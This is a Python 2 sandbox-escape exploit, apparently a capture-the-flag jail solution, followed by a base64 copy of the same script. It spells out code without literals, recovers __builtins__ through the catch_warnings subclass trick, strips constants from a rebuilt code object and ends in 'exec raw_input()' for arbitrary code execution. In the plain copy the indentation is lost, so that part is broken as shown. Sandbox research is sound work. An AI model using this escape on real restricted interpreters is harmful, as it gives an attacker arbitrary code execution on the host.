import types
def function():
# Get bools
none=None;N,o,n,e=`none`
false=none>none;F,a,l,s,e=`false`
true=not false;T,r,u,e=`true`
# Get chars from the string '__builtins__'
# Without exec ... in ... I only managed to get the chars
# aefilnorstuFLNT0123456789{}[](),:."'\-+ - which was
# *just* not enough to do what we need
env = {}
exec `none` in env
_,_,b,u,i,l,t,i,n,s,_,_=[x for x in env][false]
n0=+false;n1=+true;n2=n1+n1 # 0,1,2
s,e,t,lp,lb,c0,com,sp,c1,rb,rp=`{n0,n1}` # set([0, 1])
qu,dqu,bsl,qu,c0,bsl,qu,dqu,qu=````n0```` # '"\'0\'"'
m1=n0-n1;half=n2**m1;c0,dot,c5=`half` # 0.5 = 2**(-1)
n4f=n2/half;big=n4f**n4f**n4f
inf=big*big;i,n,f=`inf` # inf = float infinity
env = {}
# [a for a in[''.title]], using list comp to assign since we don't have =
code = lb+a+sp+f+o+r+sp+a+sp+i+n+lb+qu+qu+dot+t+i+t+l+e+rb+rb
exec code in env
title=env[a]
# <built-in method title of str object at 0x...>
# Length of address might depend on your system - modify underscores as necessary
try:
(lt,b,u,i,l,t,mi,i,n,sp,m,e,t,h,o,d,sp,t,i,t,l,e,sp,o,f,sp,s,t,r,sp,o,b,j,e,c,t
,sp,a,t,sp,c0,x,__,__,__,__,__,__,__,__,__,__,__,__,__,__,__,__,gt) = `title`
except:
(lt,b,u,i,l,t,mi,i,n,sp,m,e,t,h,o,d,sp,t,i,t,l,e,sp,o,f,sp,s,t,r,sp,o,b,j,e,c,t
,sp,a,t,sp,c0,x,__,__,__,__,__,__,__,__,gt) = `title`
env = {}
# [b for b in[[a for a in().__class__.__bases__[0].__subclasses__()if'catc'in a.__name__][0]()._module.__builtins__]]
code = lb+b+sp+f+o+r+sp+b+sp+i+n+lb+lb+a+sp+f+o+r+sp+a+sp+i+n+lp+rp+dot+_+_+c+l+a+s+s+_
code += _+dot+_+_+b+a+s+e+s+_+_+lb+c0+rb+dot+_+_+s+u+b+c+l+a+s+s+e+s+_+_+lp+rp+i+f+qu
code += c+a+t+c+qu+i+n+sp+a+dot+_+_+n+a+m+e+_+_+rb+lb+c0+rb+lp+rp+dot+_+m+o+d+u+l+e
code += dot+_+_+b+u+i+l+t+i+n+s+_+_+rb+rb
exec code in env
__builtins__ = env[b]
# Grab g from range
range=[x for x in __builtins__ if r+a+n<x<r+a+o][n0];r,a,n,g,e=range
# Now we can use __builtins__ in exec
env = {_+_+b+u+i+l+t+i+n+s+_+_: __builtins__}
# [chr(c)for c in range(97,123)]
c1,c2,c3,c7,c9=`n1`,`n2`,`n2+n1`,`n2+n2+n2+n1`,`n2+n2+n2+n2+n1`
code = lb+a+sp+f+o+r+sp+a+sp+i+n+lb+qu+qu+dot+j+o+i+n+lp+c+h+r+lp+c+rp+f+o+r+sp+c
code += sp+i+n+sp+r+a+n+g+e+lp+c9+c7+com+c1+c2+c3+rp+rp+rb+rb
exec code in env
a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = env[a]
# exec raw_input() - do whatever we want now
code = e+x+e+c+sp+r+a+w+_+i+n+p+u+t+lp+rp
exec code in env
pass
c = function.__code__
code = types.CodeType(0,
c.co_nlocals,
c.co_stacksize,
c.co_flags,
c.co_code,
(None,)*len(c.co_consts),
(),
(),
"filename",
"funcname",
1,
"")
func = types.FunctionType(code, {})
func()
aW1wb3J0IHR5cGVzCmRlZiBmdW5jdGlvbigpOgogICAgIyBHZXQgYm9vbHMKICAgIG5vbmU9Tm9uZTtOLG8sbixlPWBub25lYAogICAgZmFsc2U9bm9uZT5ub25lO0YsYSxsLHMsZT1gZmFsc2VgCiAgICB0cnVlPW5vdCBmYWxzZTtULHIsdSxlPWB0cnVlYAoKICAgICMgR2V0IGNoYXJzIGZyb20gdGhlIHN0cmluZyAnX19idWlsdGluc19fJwogICAgIyBXaXRob3V0IGV4ZWMgLi4uIGluIC4uLiBJIG9ubHkgbWFuYWdlZCB0byBnZXQgdGhlIGNoYXJzCiAgICAjIGFlZmlsbm9yc3R1RkxOVDAxMjM0NTY3ODl7fVtdKCksOi4iJ1wtKyAgIC0gd2hpY2ggd2FzCiAgICAjICpqdXN0KiBub3QgZW5vdWdoIHRvIGRvIHdoYXQgd2UgbmVlZAogICAgZW52ID0ge30KICAgIGV4ZWMgYG5vbmVgIGluIGVudgogICAgXyxfLGIsdSxpLGwsdCxpLG4scyxfLF89W3ggZm9yIHggaW4gZW52XVtmYWxzZV0KCiAgICBuMD0rZmFsc2U7bjE9K3RydWU7bjI9bjErbjEgIyAwLDEsMgogICAgcyxlLHQsbHAsbGIsYzAsY29tLHNwLGMxLHJiLHJwPWB7bjAsbjF9YCAjIHNldChbMCwgMV0pCiAgICBxdSxkcXUsYnNsLHF1LGMwLGJzbCxxdSxkcXUscXU9YGBgYG4wYGBgYCAjICciXCcwXCciJwoKICAgIG0xPW4wLW4xO2hhbGY9bjIqKm0xO2MwLGRvdCxjNT1gaGFsZmAgIyAwLjUgPSAyKiooLTEpCiAgICBuNGY9bjIvaGFsZjtiaWc9bjRmKipuNGYqKm40ZgogICAgaW5mPWJpZypiaWc7aSxuLGY9YGluZmAgIyBpbmYgPSBmbG9hdCBpbmZpbml0eQoKICAgIGVudiA9IHt9CiAgICAjIFthIGZvciBhIGluWycnLnRpdGxlXV0sIHVzaW5nIGxpc3QgY29tcCB0byBhc3NpZ24gc2luY2Ugd2UgZG9uJ3QgaGF2ZSA9CiAgICBjb2RlID0gbGIrYStzcCtmK28rcitzcCthK3NwK2krbitsYitxdStxdStkb3QrdCtpK3QrbCtlK3JiK3JiCiAgICBleGVjIGNvZGUgaW4gZW52CgogICAgdGl0bGU9ZW52W2FdCiAgICAjIDxidWlsdC1pbiBtZXRob2QgdGl0bGUgb2Ygc3RyIG9iamVjdCBhdCAweC4uLj4KICAgICMgTGVuZ3RoIG9mIGFkZHJlc3MgbWlnaHQgZGVwZW5kIG9uIHlvdXIgc3lzdGVtIC0gbW9kaWZ5IHVuZGVyc2NvcmVzIGFzIG5lY2Vzc2FyeQogICAgdHJ5OgogICAgICAgIChsdCxiLHUsaSxsLHQsbWksaSxuLHNwLG0sZSx0LGgsbyxkLHNwLHQsaSx0LGwsZSxzcCxvLGYsc3Ascyx0LHIsc3AsbyxiLGosZSxjLHQKICAgICAgICAgLHNwLGEsdCxzcCxjMCx4LF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLF9fLGd0KSA9IGB0aXRsZWAKICAgIGV4Y2VwdDoKICAgIAkobHQsYix1LGksbCx0LG1pLGksbixzcCxtLGUsdCxoLG8sZCxzcCx0LGksdCxsLGUsc3AsbyxmLHNwLHMsdCxyLHNwLG8sYixqLGUsYyx0CiAgICAgICAgICxzcCxhLHQsc3AsYzAseCxfXyxfXyxfXyxfXyxfXyxfXyxfXyxfXyxndCkgPSBgdGl0bGVgCgogICAgZW52ID0ge30KICAgICMgW2IgZm9yIGIgaW5bW2EgZm9yIGEgaW4oKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClpZidjYXRjJ2luIGEuX19uYW1lX19dWzBdKCkuX21vZHVsZS5fX2J1aWx0aW5zX19dXQogICAgY29kZSA9IGxiK2Irc3ArZitvK3Irc3ArYitzcCtpK24rbGIrbGIrYStzcCtmK28rcitzcCthK3NwK2krbitscCtycCtkb3QrXytfK2MrbCthK3MrcytfCiAgICBjb2RlICs9IF8rZG90K18rXytiK2ErcytlK3MrXytfK2xiK2MwK3JiK2RvdCtfK18rcyt1K2IrYytsK2ErcytzK2UrcytfK18rbHArcnAraStmK3F1CiAgICBjb2RlICs9IGMrYSt0K2MrcXUraStuK3NwK2ErZG90K18rXytuK2ErbStlK18rXytyYitsYitjMCtyYitscCtycCtkb3QrXyttK28rZCt1K2wrZQogICAgY29kZSArPSBkb3QrXytfK2IrdStpK2wrdCtpK24rcytfK18rcmIrcmIKICAgIGV4ZWMgY29kZSBpbiBlbnYKCiAgICBfX2J1aWx0aW5zX18gPSBlbnZbYl0KICAgICMgR3JhYiBnIGZyb20gcmFuZ2UKICAgIHJhbmdlPVt4IGZvciB4IGluIF9fYnVpbHRpbnNfXyBpZiByK2Erbjx4PHIrYStvXVtuMF07cixhLG4sZyxlPXJhbmdlCgogICAgIyBOb3cgd2UgY2FuIHVzZSBfX2J1aWx0aW5zX18gaW4gZXhlYwogICAgZW52ID0ge18rXytiK3UraStsK3QraStuK3MrXytfOiBfX2J1aWx0aW5zX199CgogICAgIyBbY2hyKGMpZm9yIGMgaW4gcmFuZ2UoOTcsMTIzKV0KICAgIGMxLGMyLGMzLGM3LGM5PWBuMWAsYG4yYCxgbjIrbjFgLGBuMituMituMituMWAsYG4yK24yK24yK24yK24xYAogICAgY29kZSA9IGxiK2Erc3ArZitvK3Irc3ArYStzcCtpK24rbGIrcXUrcXUrZG90K2orbytpK24rbHArYytoK3IrbHArYytycCtmK28rcitzcCtjCiAgICBjb2RlICs9IHNwK2krbitzcCtyK2ErbitnK2UrbHArYzkrYzcrY29tK2MxK2MyK2MzK3JwK3JwK3JiK3JiCiAgICBleGVjIGNvZGUgaW4gZW52CiAgICBhLGIsYyxkLGUsZixnLGgsaSxqLGssbCxtLG4sbyxwLHEscixzLHQsdSx2LHcseCx5LHogPSBlbnZbYV0KCiAgICAjIGV4ZWMgcmF3X2lucHV0KCkgLSBkbyB3aGF0ZXZlciB3ZSB3YW50IG5vdwogICAgY29kZSA9IGUreCtlK2Mrc3ArcithK3crXytpK24rcCt1K3QrbHArcnAKICAgIGV4ZWMgY29kZSBpbiBlbnYKICAgIAogICAgcGFzcwoKYyA9IGZ1bmN0aW9uLl9fY29kZV9fCmNvZGUgPSB0eXBlcy5Db2RlVHlwZSgwLAogICAgICAgICAgICAgICAgICAgICAgYy5jb19ubG9jYWxzLAogICAgICAgICAgICAgICAgICAgICAgYy5jb19zdGFja3NpemUsCiAgICAgICAgICAgICAgICAgICAgICBjLmNvX2ZsYWdzLAogICAgICAgICAgICAgICAgICAgICAgYy5jb19jb2RlLAogICAgICAgICAgICAgICAgICAgICAgKE5vbmUsKSpsZW4oYy5jb19jb25zdHMpLAogICAgICAgICAgICAgICAgICAgICAgKCksCiAgICAgICAgICAgICAgICAgICAgICAoKSwKICAgICAgICAgICAgICAgICAgICAgICJmaWxlbmFtZSIsCiAgICAgICAgICAgICAgICAgICAgICAiZnVuY25hbWUiLAogICAgICAgICAgICAgICAgICAgICAgMSwKICAgICAgICAgICAgICAgICAgICAgICIiKQoKZnVuYyA9IHR5cGVzLkZ1bmN0aW9uVHlwZShjb2RlLCB7fSkKZnVuYygp